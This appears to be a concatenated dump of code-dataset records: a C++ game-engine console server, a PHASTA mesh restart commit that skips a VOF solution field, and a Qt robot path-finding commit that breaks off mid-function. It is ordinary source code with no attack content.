2012-2018 Daniele Bartolini and individual contributors.\n * License: https:\/\/github.com\/dbartolini\/crown\/blob\/master\/LICENSE\n *\/\n\n#include \"core\/containers\/hash_map.h\"\n#include \"core\/json\/json_object.h\"\n#include \"core\/json\/sjson.h\"\n#include \"core\/memory\/temp_allocator.h\"\n#include \"core\/strings\/string_id.h\"\n#include \"core\/strings\/string_stream.h\"\n#include \"device\/console_server.h\"\n\nnamespace crown\n{\nConsoleServer::ConsoleServer(Allocator& a)\n\t: _clients(a)\n\t, _commands(a)\n{\n}\n\nvoid ConsoleServer::listen(u16 port, bool wait)\n{\n\t_server.bind(port);\n\t_server.listen(5);\n\n\tif (wait)\n\t{\n\t\tAcceptResult ar;\n\t\tTCPSocket client;\n\t\tdo\n\t\t{\n\t\t\tar = _server.accept(client);\n\t\t}\n\t\twhile (ar.error != AcceptResult::SUCCESS);\n\n\t\tarray::push_back(_clients, client);\n\t}\n}\n\nvoid ConsoleServer::shutdown()\n{\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t\t_clients[i].close();\n\n\t_server.close();\n}\n\nvoid ConsoleServer::send(TCPSocket client, const char* json)\n{\n\tu32 len = strlen32(json);\n\tclient.write(&len, 4);\n\tclient.write(json, len);\n}\n\nvoid ConsoleServer::error(TCPSocket client, const char* msg)\n{\n\tTempAllocator4096 ta;\n\tStringStream ss(ta);\n\tss << \"{\\\"type\\\":\\\"error\\\",\\\"message\\\":\\\"\" << msg << \"\\\"}\";\n\tsend(client, string_stream::c_str(ss));\n}\n\nvoid ConsoleServer::log(LogSeverity::Enum sev, const char* system, const char* msg)\n{\n\tconst char* severity_map[] = { \"info\", \"warning\", \"error\" };\n\tCE_STATIC_ASSERT(countof(severity_map) == LogSeverity::COUNT);\n\n\tTempAllocator4096 ta;\n\tStringStream ss(ta);\n\n\tss << \"{\\\"type\\\":\\\"message\\\",\\\"severity\\\":\\\"\";\n\tss << severity_map[sev];\n\tss << \"\\\",\\\"system\\\":\\\"\";\n\tss << system;\n\tss << \"\\\",\\\"message\\\":\\\"\";\n\n\t\/\/ Sanitize msg\n\tconst char* ch = msg;\n\tfor (; *ch; ch++)\n\t{\n\t\tif (*ch == '\"' || *ch == '\\\\')\n\t\t\tss << \"\\\\\";\n\t\tss << *ch;\n\t}\n\tss << \"\\\"}\";\n\n\tsend(string_stream::c_str(ss));\n}\n\nvoid ConsoleServer::send(const char* json)\n{\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t\tsend(_clients[i], json);\n}\n\nvoid ConsoleServer::update()\n{\n\tTCPSocket client;\n\tAcceptResult ar = _server.accept_nonblock(client);\n\tif (ar.error == AcceptResult::SUCCESS)\n\t\tarray::push_back(_clients, client);\n\n\tTempAllocator256 alloc;\n\tArray<u32> to_remove(alloc);\n\n\t\/\/ Update all clients\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t{\n\t\tfor (;;)\n\t\t{\n\t\t\tu32 msg_len = 0;\n\t\t\tReadResult rr = _clients[i].read_nonblock(&msg_len, 4);\n\n\t\t\tif (rr.error == ReadResult::WOULDBLOCK)\n\t\t\t\tbreak;\n\n\t\t\tif (rr.error != ReadResult::SUCCESS)\n\t\t\t{\n\t\t\t\tarray::push_back(to_remove, i);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t\/\/ Read message\n\t\t\tTempAllocator4096 ta;\n\t\t\tArray<char> msg(ta);\n\t\t\tarray::resize(msg, msg_len + 1);\n\t\t\trr = _clients[i].read(array::begin(msg), msg_len);\n\t\t\tmsg[msg_len] = '\\0';\n\n\t\t\tif (rr.error != ReadResult::SUCCESS)\n\t\t\t{\n\t\t\t\tarray::push_back(to_remove, i);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t\/\/ Process message\n\t\t\tJsonObject obj(ta);\n\t\t\tsjson::parse(array::begin(msg), obj);\n\n\t\t\tCommand cmd;\n\t\t\tcmd.function = NULL;\n\t\t\tcmd.user_data = NULL;\n\t\t\tcmd = hash_map::get(_commands\n\t\t\t\t, sjson::parse_string_id(obj[\"type\"])\n\t\t\t\t, cmd\n\t\t\t\t);\n\n\t\t\tif (cmd.function)\n\t\t\t\tcmd.function(*this, _clients[i], array::begin(msg), cmd.user_data);\n\t\t\telse\n\t\t\t\terror(_clients[i], \"Unknown command\");\n\t\t}\n\t}\n\n\t\/\/ Remove clients\n\tfor (u32 i = 0; i < array::size(to_remove); ++i)\n\t{\n\t\tconst u32 last = array::size(_clients) - 1;\n\t\tconst u32 c = to_remove[i];\n\n\t\t_clients[c].close();\n\t\t_clients[c] = _clients[last];\n\t\tarray::pop_back(_clients);\n\t}\n}\n\nvoid ConsoleServer::register_command(const char* type, CommandFunction function, void* user_data)\n{\n\tCE_ENSURE(NULL != type);\n\tCE_ENSURE(NULL != function);\n\n\tCommand cmd;\n\tcmd.function = function;\n\tcmd.user_data = user_data;\n\n\thash_map::set(_commands, StringId32(type), cmd);\n}\n\nnamespace console_server_globals\n{\n\tConsoleServer* _console_server = NULL;\n\n\tvoid init()\n\t{\n\t\t_console_server = CE_NEW(default_allocator(), ConsoleServer)(default_allocator());\n\t}\n\n\tvoid shutdown()\n\t{\n\t\t_console_server->shutdown();\n\t\tCE_DELETE(default_allocator(), _console_server);\n\t\t_console_server = NULL;\n\t}\n\n} \/\/ namespace console_server_globals\n\nConsoleServer* console_server()\n{\n\treturn console_server_globals::_console_server;\n}\n\n} \/\/ namespace crown\n<|endoftext|>"} {"text":"<commit_before>#include <PCU.h>\n#include \"phRestart.h\"\n#include <apf.h>\n#include \"phIO.h\"\n#include \"ph.h\"\n#include <cstdlib>\n#include <fstream>\n#include <sstream>\n#include <cassert>\n\nnamespace ph {\n\n\/* in_size is the number of dofs for the data array\n and out_size is the number of dofs in the field.\n they are unequal when we read a restart file\n and want to add more dofs for the next restart files *\/\n\nvoid attachField(\n apf::Mesh* m,\n const char* fieldname,\n double* data,\n int in_size,\n int out_size)\n{\n if (!(in_size <= out_size))\n fprintf(stderr, \"field \\\"%s\\\" in_size %d out_size %d\\n\", fieldname, in_size, out_size);\n assert(in_size <= out_size);\n apf::Field* f = apf::createPackedField(m, fieldname, out_size);\n size_t n = m->count(0);\n apf::NewArray<double> c(out_size);\n apf::MeshEntity* e;\n size_t i = 0;\n apf::MeshIterator* it = m->begin(0);\n while ((e = m->iterate(it))) {\n for (int j = 0; j < in_size; ++j)\n c[j] = data[j * n + i];\n apf::setComponents(f, e, 0, &c[0]);\n ++i;\n }\n m->end(it);\n assert(i == n);\n}\n\n\/* convenience wrapper, in most cases in_size=out_size *\/\nvoid attachField(\n apf::Mesh* m,\n const char* fieldname,\n double* data,\n int size)\n{\n attachField(m, fieldname, data, size, size);\n}\n\nvoid detachField(\n apf::Field* f,\n double*& data,\n int& size)\n{\n apf::Mesh* m = apf::getMesh(f);\n size = apf::countComponents(f);\n size_t n = m->count(0);\n apf::NewArray<double> c(size);\n data = (double*)malloc(sizeof(double) * size * m->count(0));\n apf::MeshEntity* e;\n size_t i = 0;\n apf::MeshIterator* it = m->begin(0);\n while ((e = m->iterate(it))) {\n apf::getComponents(f, e, 0, &c[0]);\n for (int j = 0; j < size; ++j)\n data[j * n + i] = c[j];\n ++i;\n }\n m->end(it);\n assert(i == n);\n apf::destroyField(f);\n}\n\nvoid detachField(\n apf::Mesh* m,\n const char* fieldname,\n double*& data,\n int& size)\n{\n apf::Field* f = m->findField(fieldname);\n assert(f);\n detachField(f, data, size);\n}\n\nint readAndAttachField(\n Input& in,\n FILE* f,\n apf::Mesh* m,\n int swap)\n{\n double* data;\n int nodes, vars, step;\n char hname[1024];\n const char* anyfield = \"\";\n int ret = ph_read_field(f, anyfield, swap,\n &data, &nodes, &vars, &step, hname);\n \/* no field was found or the field has an empty data block *\/\n if(ret==0 || ret==1) return ret;\n assert(nodes == static_cast<int>(m->count(0)));\n assert(step == in.timeStepNumber);\n int out_size = vars;\n if ( std::string(hname) == std::string(\"solution\") )\n out_size = in.ensa_dof;\n attachField(m, hname, data, vars, out_size);\n free(data);\n return 1;\n}\n\nvoid detachAndWriteField(\n Input& in,\n apf::Mesh* m,\n FILE* f,\n const char* fieldname)\n{\n double* data;\n int size;\n detachField(m, fieldname, data, size);\n ph_write_field(f, fieldname, data, m->count(0), size, in.timeStepNumber);\n free(data);\n}\n\n\/* silliest darn fields I ever did see *\/\nstatic double* buildMappingPartId(apf::Mesh* m)\n{\n int n = m->count(0);\n \/* malloc instead of new[] for consistency with ph_read_field *\/\n double* data = (double*)malloc(sizeof(double) * n);\n int self = PCU_Comm_Self();\n for (int i = 0; i < n; ++i)\n data[i] = self;\n return data;\n}\nstatic double* buildMappingVtxId(apf::Mesh* m)\n{\n int n = m->count(0);\n \/* malloc instead of new[] for consistency with ph_read_field *\/\n double* data = (double*)malloc(sizeof(double) * n);\n for (int i = 0; i < n; ++i)\n data[i] = i;\n return data;\n}\n\nstatic std::string buildRestartFileName(std::string prefix, int step)\n{\n std::stringstream ss;\n int rank = PCU_Comm_Self() + 1;\n ss << prefix << '.' << step << '.' << rank;\n return ss.str();\n}\n\nvoid readAndAttachFields(Input& in, apf::Mesh* m) {\n double t0 = PCU_Time();\n setupInputSubdir(in.restartFileName);\n std::string filename = buildRestartFileName(in.restartFileName, in.timeStepNumber);\n FILE* f = in.openfile_read(in, filename.c_str());\n if (!f) {\n fprintf(stderr,\"failed to open \\\"%s\\\"!\\n\", filename.c_str());\n abort();\n }\n int swap = ph_should_swap(f);\n while( readAndAttachField(in,f,m,swap) ); \/* inf loop?? *\/\n fclose(f);\n double t1 = PCU_Time();\n if (!PCU_Comm_Self())\n printf(\"fields read and attached in %f seconds\\n\", t1 - t0);\n}\n\nvoid buildMapping(apf::Mesh* m)\n{\n double* mapping = buildMappingPartId(m);\n attachField(m, \"mapping_partid\", mapping, 1);\n free(mapping);\n mapping = buildMappingVtxId(m);\n attachField(m, \"mapping_vtxid\", mapping, 1);\n free(mapping);\n}\n\nvoid attachZeroSolution(Input& in, apf::Mesh* m)\n{\n int vars = in.ensa_dof;\n int nodes = m->count(0);\n double* data = new double[nodes * vars]();\n attachField(m, \"solution\", data, vars);\n delete [] data;\n}\n\nvoid detachAndWriteSolution(Input& in, Output& out, apf::Mesh* m, std::string path)\n{\n double t0 = PCU_Time();\n path += buildRestartFileName(\"restart\", in.timeStepNumber);\n FILE* f = out.openfile_write(out, path.c_str());\n if (!f) {\n fprintf(stderr,\"failed to open \\\"%s\\\"!\\n\", path.c_str());\n abort();\n }\n ph_write_preamble(f);\n int nodes = m->count(0);\n ph_write_header(f, \"number of modes\", 0, 1, &nodes);\n ph_write_header(f, \"number of variables\", 0, 1, &in.ensa_dof);\n apf::Field* errField = m->findField(\"errors\");\n if (errField)\n apf::destroyField(errField);\n if (m->findField(\"solution\"))\n detachAndWriteField(in, m, f, \"solution\");\n if (in.displacementMigration)\n detachAndWriteField(in, m, f, \"displacement\");\n if (in.dwalMigration)\n detachAndWriteField(in, m, f, \"dwal\");\n if (in.buildMapping) {\n detachAndWriteField(in, m, f, \"mapping_partid\");\n detachAndWriteField(in, m, f, \"mapping_vtxid\");\n }\n \/* detach any remaining fields *\/\n while(m->countFields())\n apf::destroyField( m->getField(0) );\n fclose(f);\n double t1 = PCU_Time();\n if (!PCU_Comm_Self())\n printf(\"solution written in %f seconds\\n\", t1 - t0);\n}\n\n}\n<commit_msg>try to ignore PHASTA array VOF solution<commit_after>#include <PCU.h>\n#include \"phRestart.h\"\n#include <apf.h>\n#include \"phIO.h\"\n#include \"ph.h\"\n#include <cstdlib>\n#include <fstream>\n#include <sstream>\n#include <cassert>\n\nnamespace ph {\n\n\/* in_size is the number of dofs for the data array\n and out_size is the number of dofs in the field.\n they are unequal when we read a restart file\n and want to add more dofs for the next restart files *\/\n\nvoid attachField(\n apf::Mesh* m,\n const char* fieldname,\n double* data,\n int in_size,\n int out_size)\n{\n if (!(in_size <= out_size))\n fprintf(stderr, \"field \\\"%s\\\" in_size %d out_size %d\\n\", fieldname, in_size, out_size);\n assert(in_size <= out_size);\n apf::Field* f = apf::createPackedField(m, fieldname, out_size);\n size_t n = m->count(0);\n apf::NewArray<double> c(out_size);\n apf::MeshEntity* e;\n size_t i = 0;\n apf::MeshIterator* it = m->begin(0);\n while ((e = m->iterate(it))) {\n for (int j = 0; j < in_size; ++j)\n c[j] = data[j * n + i];\n apf::setComponents(f, e, 0, &c[0]);\n ++i;\n }\n m->end(it);\n assert(i == n);\n}\n\n\/* convenience wrapper, in most cases in_size=out_size *\/\nvoid attachField(\n apf::Mesh* m,\n const char* fieldname,\n double* data,\n int size)\n{\n attachField(m, fieldname, data, size, size);\n}\n\nvoid detachField(\n apf::Field* f,\n double*& data,\n int& size)\n{\n apf::Mesh* m = apf::getMesh(f);\n size = apf::countComponents(f);\n size_t n = m->count(0);\n apf::NewArray<double> c(size);\n data = (double*)malloc(sizeof(double) * size * m->count(0));\n apf::MeshEntity* e;\n size_t i = 0;\n apf::MeshIterator* it = m->begin(0);\n while ((e = m->iterate(it))) {\n apf::getComponents(f, e, 0, &c[0]);\n for (int j = 0; j < size; ++j)\n data[j * n + i] = c[j];\n ++i;\n }\n m->end(it);\n assert(i == n);\n apf::destroyField(f);\n}\n\nvoid detachField(\n apf::Mesh* m,\n const char* fieldname,\n double*& data,\n int& size)\n{\n apf::Field* f = m->findField(fieldname);\n assert(f);\n detachField(f, data, size);\n}\n\nint readAndAttachField(\n Input& in,\n FILE* f,\n apf::Mesh* m,\n int swap)\n{\n double* data;\n int nodes, vars, step;\n char hname[1024];\n const char* anyfield = \"\";\n int ret = ph_read_field(f, anyfield, swap,\n &data, &nodes, &vars, &step, hname);\n \/* no field was found or the field has an empty data block *\/\n if(ret==0 || ret==1)\n return ret;\n if ( std::string(hname) == std::string(\"VOF solution\") )\n return 1;\n assert(nodes == static_cast<int>(m->count(0)));\n assert(step == in.timeStepNumber);\n int out_size = vars;\n if ( std::string(hname) == std::string(\"solution\") )\n out_size = in.ensa_dof;\n attachField(m, hname, data, vars, out_size);\n free(data);\n return 1;\n}\n\nvoid detachAndWriteField(\n Input& in,\n apf::Mesh* m,\n FILE* f,\n const char* fieldname)\n{\n double* data;\n int size;\n detachField(m, fieldname, data, size);\n ph_write_field(f, fieldname, data, m->count(0), size, in.timeStepNumber);\n free(data);\n}\n\n\/* silliest darn fields I ever did see *\/\nstatic double* buildMappingPartId(apf::Mesh* m)\n{\n int n = m->count(0);\n \/* malloc instead of new[] for consistency with ph_read_field *\/\n double* data = (double*)malloc(sizeof(double) * n);\n int self = PCU_Comm_Self();\n for (int i = 0; i < n; ++i)\n data[i] = self;\n return data;\n}\nstatic double* buildMappingVtxId(apf::Mesh* m)\n{\n int n = m->count(0);\n \/* malloc instead of new[] for consistency with ph_read_field *\/\n double* data = (double*)malloc(sizeof(double) * n);\n for (int i = 0; i < n; ++i)\n data[i] = i;\n return data;\n}\n\nstatic std::string buildRestartFileName(std::string prefix, int step)\n{\n std::stringstream ss;\n int rank = PCU_Comm_Self() + 1;\n ss << prefix << '.' << step << '.' << rank;\n return ss.str();\n}\n\nvoid readAndAttachFields(Input& in, apf::Mesh* m) {\n double t0 = PCU_Time();\n setupInputSubdir(in.restartFileName);\n std::string filename = buildRestartFileName(in.restartFileName, in.timeStepNumber);\n FILE* f = in.openfile_read(in, filename.c_str());\n if (!f) {\n fprintf(stderr,\"failed to open \\\"%s\\\"!\\n\", filename.c_str());\n abort();\n }\n int swap = ph_should_swap(f);\n \/* stops when ph_read_field returns 0 *\/\n while( readAndAttachField(in,f,m,swap) );\n fclose(f);\n double t1 = PCU_Time();\n if (!PCU_Comm_Self())\n printf(\"fields read and attached in %f seconds\\n\", t1 - t0);\n}\n\nvoid buildMapping(apf::Mesh* m)\n{\n double* mapping = buildMappingPartId(m);\n attachField(m, \"mapping_partid\", mapping, 1);\n free(mapping);\n mapping = buildMappingVtxId(m);\n attachField(m, \"mapping_vtxid\", mapping, 1);\n free(mapping);\n}\n\nvoid attachZeroSolution(Input& in, apf::Mesh* m)\n{\n int vars = in.ensa_dof;\n int nodes = m->count(0);\n double* data = new double[nodes * vars]();\n attachField(m, \"solution\", data, vars);\n delete [] data;\n}\n\nvoid detachAndWriteSolution(Input& in, Output& out, apf::Mesh* m, std::string path)\n{\n double t0 = PCU_Time();\n path += buildRestartFileName(\"restart\", in.timeStepNumber);\n FILE* f = out.openfile_write(out, path.c_str());\n if (!f) {\n fprintf(stderr,\"failed to open \\\"%s\\\"!\\n\", path.c_str());\n abort();\n }\n ph_write_preamble(f);\n int nodes = m->count(0);\n ph_write_header(f, \"number of modes\", 0, 1, &nodes);\n ph_write_header(f, \"number of variables\", 0, 1, &in.ensa_dof);\n apf::Field* errField = m->findField(\"errors\");\n if (errField)\n apf::destroyField(errField);\n if (m->findField(\"solution\"))\n detachAndWriteField(in, m, f, \"solution\");\n if (in.displacementMigration)\n detachAndWriteField(in, m, f, \"displacement\");\n if (in.dwalMigration)\n detachAndWriteField(in, m, f, \"dwal\");\n if (in.buildMapping) {\n detachAndWriteField(in, m, f, \"mapping_partid\");\n detachAndWriteField(in, m, f, \"mapping_vtxid\");\n }\n \/* detach any remaining fields *\/\n while(m->countFields())\n apf::destroyField( m->getField(0) );\n fclose(f);\n double t1 = PCU_Time();\n if (!PCU_Comm_Self())\n printf(\"solution written in %f seconds\\n\", t1 - t0);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"robotpath.h\"\n\nRobotPath::RobotPath(RobotGridMatrix *Maze, QList<QPoint> botOnePath, QList<QPoint> botTwoPath){\n this->botOnePath = &botOnePath;\n this->botTwoPath = &botTwoPath;\n\n for(int r=0; r < 8; r++)\n for(int c=0; c < 10; c++)\n this->Maze[r][c] = Maze->Maze[r][c];\n \/\/this->Maze = Maze->Maze;\n Robot bot1, bot2;\n {\n bot1.Pos = QPoint(9,0);\n bot1.Dir = DOWN;\n bot1.PrevDir = DEFAULT;\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: Maze[%d][%d] {0}\",bot1.Pos.x(),bot1.Pos.y());\n }\n {\n bot2.Pos = QPoint(9,7);\n bot2.Dir = UP;\n bot2.PrevDir = DEFAULT;\n this->botTwoPath->append(bot2.Pos);\n }\n\n int t=1;\n while((bot1.Pos != QPoint(0,7))) {\n this->FindDirection(bot1, 1);\n this->MakeStep(bot1);\n qDebug(\"ACTUAL: Maze[%d][%d] {%d}\",bot1.Pos.x(),bot1.Pos.y(),t);\n this->botOnePath->append(bot1.Pos);\n if(t > 20) break;\n t++;\n }\n \/*\n while((bot2.Pos != QPoint(0,0))) {\n \/\/for(int t; t < 10; t++) {\n bot2.Dir = this->FindDirection(bot2, BOT2);\n this->MakeStep(&bot2); qDebug(\"hire2 %d\",t);\n this->botTwoPath->append(bot2.Pos);\n }*\/\n}\n\nRobotPath::RobotPath(Map maze, QList<QPoint> botOnePath, QList<QPoint> botTwoPath) {\n this->botOnePath = &botOnePath;\n this->botTwoPath = &botTwoPath;\n this->map = &maze;\n\n Robot bot1, bot2;\n {\n bot1.ID = 1;\n bot1.Pos = QPoint(9,0);\n bot1.Dir = DOWN;\n bot1.PrevDir = DEFAULT;\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: Maze[%d][%d] {0}\",bot1.Pos.x(),bot1.Pos.y());\n }\n {\n bot2.ID = 2;\n bot2.Pos = QPoint(9,7);\n bot2.Dir = UP;\n bot2.PrevDir = DEFAULT;\n this->botTwoPath->append(bot2.Pos);\n }\n while((bot1.Pos != QPoint(0,7))) {\n this->Movement(bot1);\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: MAZE[%d][%d]\",bot1.Pos.x(),bot1.Pos.y());\n }\n}\n\nvoid RobotPath::Movement(Robot &bot) {\n switch(bot.ID) {\n case 1: {\n if(this->map->popValue(QPoint_LEFT+bot.Pos) == bot.ID || this->map->popValue(QPoint_LEFT+bot.Pos) == SHARED) {\n if(bot.PrevDir != RIGHT) {\n bot.PrevDir = bot.Dir = LEFT;\n bot.Pos += QPoint_LEFT;\n return;\n }\n }\n if(this->map->popValue(QPoint_DOWN+bot.Pos) == bot.ID || this->map->popValue(QPoint_DOWN+bot.Pos) == SHARED) {\n if(bot.PrevDir != UP) {\n bot.PrevDir = bot.Dir = DOWN;\n bot.Pos += QPoint_DOWN;\n return;\n }\n }\n if(this->map->popValue(QPoint_UP+bot.Pos) == bot.ID || this->map->popValue(QPoint_UP+bot.Pos) == SHARED) {\n if(bot.PrevDir != DOWN) {\n bot.PrevDir = bot.Dir = UP;\n bot.Pos += QPoint_UP;\n return;\n }\n }\n if(this->map->popValue(QPoint_RIGHT+bot.Pos) == bot.ID || this->map->popValue(QPoint_RIGHT+bot.Pos) == SHARED) {\n if(bot.PrevDir != LEFT) {\n bot.PrevDir = bot.Dir = RIGHT;\n bot.Pos += QPoint_RIGHT;\n return;\n }\n }\n } break;\n case 2: {\n if(this->map->popValue(QPoint_LEFT+bot.Pos) == bot.ID || this->map->popValue(QPoint_LEFT+bot.Pos) == SHARED) {\n if(bot.PrevDir != RIGHT) {\n bot.PrevDir = bot.Dir = LEFT;\n bot.Pos += QPoint_LEFT;\n return;\n }\n }\n if(this->map->popValue(QPoint_UP+bot.Pos) == bot.ID || this->map->popValue(QPoint_UP+bot.Pos) == SHARED) {\n if(bot.PrevDir != DOWN) {\n bot.PrevDir = bot.Dir = UP;\n bot.Pos += QPoint_UP;\n return;\n }\n }\n if(this->map->popValue(QPoint_DOWN+bot.Pos) == bot.ID || this->map->popValue(QPoint_DOWN+bot.Pos) == SHARED) {\n if(bot.PrevDir != UP) {\n bot.PrevDir = bot.Dir = DOWN;\n bot.Pos += QPoint_DOWN;\n return;\n }\n }\n if(this->map->popValue(QPoint_RIGHT+bot.Pos) == bot.ID || this->map->popValue(QPoint_RIGHT+bot.Pos) == SHARED) {\n if(bot.PrevDir != LEFT) {\n bot.PrevDir = bot.Dir = RIGHT;\n bot.Pos += QPoint_RIGHT;\n return;\n }\n }\n } break;\n }\n}\n\nRobotPath::~RobotPath(){}\n\nvoid RobotPath::FindDirection(Robot& BOT, int Elem){\n int x,y;\n x = BOT.Pos.x(); \/\/ position swap\n y = BOT.Pos.y(); \/\/ position swap\n\n switch(Elem) {\n case 1: {\n if(this->Maze[x][y-1] == Elem || this->Maze[x][y-1] == SHARED) {\n qDebug(\"LEFT: Maze[%d][%d] == %d\",y-1,x,this->Maze[x][y-1]);\n if(BOT.PrevDir != RIGHT) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = LEFT;\n return;\n }\n }\n if(this->Maze[x+1][y] == Elem || this->Maze[x+1][y] == SHARED) {\n qDebug(\"DOWN: Maze[%d][%d] == %d\",y,x+1,this->Maze[x+1][y]);\n if(BOT.PrevDir != UP) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = DOWN;\n return;\n }\n }\n if(this->Maze[x-1][y] == Elem || this->Maze[x-1][y] == SHARED) {\n qDebug(\"UP: Maze[%d][%d] == %d\",x-1,y,this->Maze[x-1][y]);\n if(BOT.PrevDir != DOWN) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = UP;\n return;\n }\n\n }\n if(this->Maze[x][y+1] == Elem || this->Maze[x][y+1] == SHARED) {\n qDebug(\"RIGHT: Maze[%d][%d] == %d\",x,y+1,this->Maze[x][y+1]);\n if(BOT.PrevDir != LEFT) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = RIGHT;\n return;\n }\n }\n }\n }\n\n \/\/BOT.Dir = LEFT;\n}\n\nvoid RobotPath::MakeStep(Robot& BOT){\n switch(BOT.Dir){\n case UP: BOT.Pos.rx()--; break;\n case DOWN: BOT.Pos.rx()++; break;\n case LEFT: BOT.Pos.ry()--; break;\n case RIGHT: BOT.Pos.ry()++; break;\n }\n BOT.Dir = DEFAULT;\n}\n<commit_msg>added the save of second movement position<commit_after>#include \"robotpath.h\"\n\nRobotPath::RobotPath(RobotGridMatrix *Maze, QList<QPoint> botOnePath, QList<QPoint> botTwoPath){\n this->botOnePath = &botOnePath;\n this->botTwoPath = &botTwoPath;\n\n for(int r=0; r < 8; r++)\n for(int c=0; c < 10; c++)\n this->Maze[r][c] = Maze->Maze[r][c];\n \/\/this->Maze = Maze->Maze;\n Robot bot1, bot2;\n {\n bot1.Pos = QPoint(9,0);\n bot1.Dir = DOWN;\n bot1.PrevDir = DEFAULT;\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: Maze[%d][%d] {0}\",bot1.Pos.x(),bot1.Pos.y());\n }\n {\n bot2.Pos = QPoint(9,7);\n bot2.Dir = UP;\n bot2.PrevDir = DEFAULT;\n this->botTwoPath->append(bot2.Pos);\n }\n\n int t=1;\n while((bot1.Pos != QPoint(0,7))) {\n this->FindDirection(bot1, 1);\n this->MakeStep(bot1);\n qDebug(\"ACTUAL: Maze[%d][%d] {%d}\",bot1.Pos.x(),bot1.Pos.y(),t);\n this->botOnePath->append(bot1.Pos);\n if(t > 20) break;\n t++;\n }\n \/*\n while((bot2.Pos != QPoint(0,0))) {\n \/\/for(int t; t < 10; t++) {\n bot2.Dir = this->FindDirection(bot2, BOT2);\n this->MakeStep(&bot2); qDebug(\"hire2 %d\",t);\n this->botTwoPath->append(bot2.Pos);\n }*\/\n}\n\nRobotPath::RobotPath(Map maze, QList<QPoint> botOnePath, QList<QPoint> botTwoPath) {\n this->botOnePath = &botOnePath;\n this->botTwoPath = &botTwoPath;\n this->map = &maze;\n\n Robot bot1, bot2;\n {\n bot1.ID = 1;\n bot1.Pos = QPoint(9,0);\n bot1.Dir = DOWN;\n bot1.PrevDir = DEFAULT;\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: Maze[%d][%d] {0}\",bot1.Pos.x(),bot1.Pos.y());\n }\n {\n bot2.ID = 2;\n bot2.Pos = QPoint(9,7);\n bot2.Dir = UP;\n bot2.PrevDir = DEFAULT;\n this->botTwoPath->append(bot2.Pos);\n }\n while((bot1.Pos != QPoint(0,7))) {\n this->Movement(bot1);\n this->botOnePath->append(bot1.Pos);\n qDebug(\"ACTUAL: MAZE[%d][%d]\",bot1.Pos.x(),bot1.Pos.y());\n }\n\n while((bot2.Pos != QPoint(0,0))) {\n this->Movement(bot2);\n this->botOnePath->append(bot2.Pos);\n qDebug(\"ACTUAL2: MAZE[%d][%d]\",bot2.Pos.x(),bot2.Pos.y());\n }\n}\n\nvoid RobotPath::Movement(Robot &bot) {\n switch(bot.ID) {\n case 1: {\n if(this->map->popValue(QPoint_LEFT+bot.Pos) == bot.ID || this->map->popValue(QPoint_LEFT+bot.Pos) == SHARED) {\n if(bot.PrevDir != RIGHT) {\n bot.PrevDir = bot.Dir = LEFT;\n bot.Pos += QPoint_LEFT;\n return;\n }\n }\n if(this->map->popValue(QPoint_DOWN+bot.Pos) == bot.ID || this->map->popValue(QPoint_DOWN+bot.Pos) == SHARED) {\n if(bot.PrevDir != UP) {\n bot.PrevDir = bot.Dir = DOWN;\n bot.Pos += QPoint_DOWN;\n return;\n }\n }\n if(this->map->popValue(QPoint_UP+bot.Pos) == bot.ID || this->map->popValue(QPoint_UP+bot.Pos) == SHARED) {\n if(bot.PrevDir != DOWN) {\n bot.PrevDir = bot.Dir = UP;\n bot.Pos += QPoint_UP;\n return;\n }\n }\n if(this->map->popValue(QPoint_RIGHT+bot.Pos) == bot.ID || this->map->popValue(QPoint_RIGHT+bot.Pos) == SHARED) {\n if(bot.PrevDir != LEFT) {\n bot.PrevDir = bot.Dir = RIGHT;\n bot.Pos += QPoint_RIGHT;\n return;\n }\n }\n } break;\n case 2: {\n if(this->map->popValue(QPoint_LEFT+bot.Pos) == bot.ID || this->map->popValue(QPoint_LEFT+bot.Pos) == SHARED) {\n if(bot.PrevDir != RIGHT) {\n bot.PrevDir = bot.Dir = LEFT;\n bot.Pos += QPoint_LEFT;\n return;\n }\n }\n if(this->map->popValue(QPoint_UP+bot.Pos) == bot.ID || this->map->popValue(QPoint_UP+bot.Pos) == SHARED) {\n if(bot.PrevDir != DOWN) {\n bot.PrevDir = bot.Dir = UP;\n bot.Pos += QPoint_UP;\n return;\n }\n }\n if(this->map->popValue(QPoint_DOWN+bot.Pos) == bot.ID || this->map->popValue(QPoint_DOWN+bot.Pos) == SHARED) {\n if(bot.PrevDir != UP) {\n bot.PrevDir = bot.Dir = DOWN;\n bot.Pos += QPoint_DOWN;\n return;\n }\n }\n if(this->map->popValue(QPoint_RIGHT+bot.Pos) == bot.ID || this->map->popValue(QPoint_RIGHT+bot.Pos) == SHARED) {\n if(bot.PrevDir != LEFT) {\n bot.PrevDir = bot.Dir = RIGHT;\n bot.Pos += QPoint_RIGHT;\n return;\n }\n }\n } break;\n }\n}\n\nRobotPath::~RobotPath(){}\n\nvoid RobotPath::FindDirection(Robot& BOT, int Elem){\n int x,y;\n x = BOT.Pos.x(); \/\/ position swap\n y = BOT.Pos.y(); \/\/ position swap\n\n switch(Elem) {\n case 1: {\n if(this->Maze[x][y-1] == Elem || this->Maze[x][y-1] == SHARED) {\n qDebug(\"LEFT: Maze[%d][%d] == %d\",y-1,x,this->Maze[x][y-1]);\n if(BOT.PrevDir != RIGHT) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = LEFT;\n return;\n }\n }\n if(this->Maze[x+1][y] == Elem || this->Maze[x+1][y] == SHARED) {\n qDebug(\"DOWN: Maze[%d][%d] == %d\",y,x+1,this->Maze[x+1][y]);\n if(BOT.PrevDir != UP) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = DOWN;\n return;\n }\n }\n if(this->Maze[x-1][y] == Elem || this->Maze[x-1][y] == SHARED) {\n 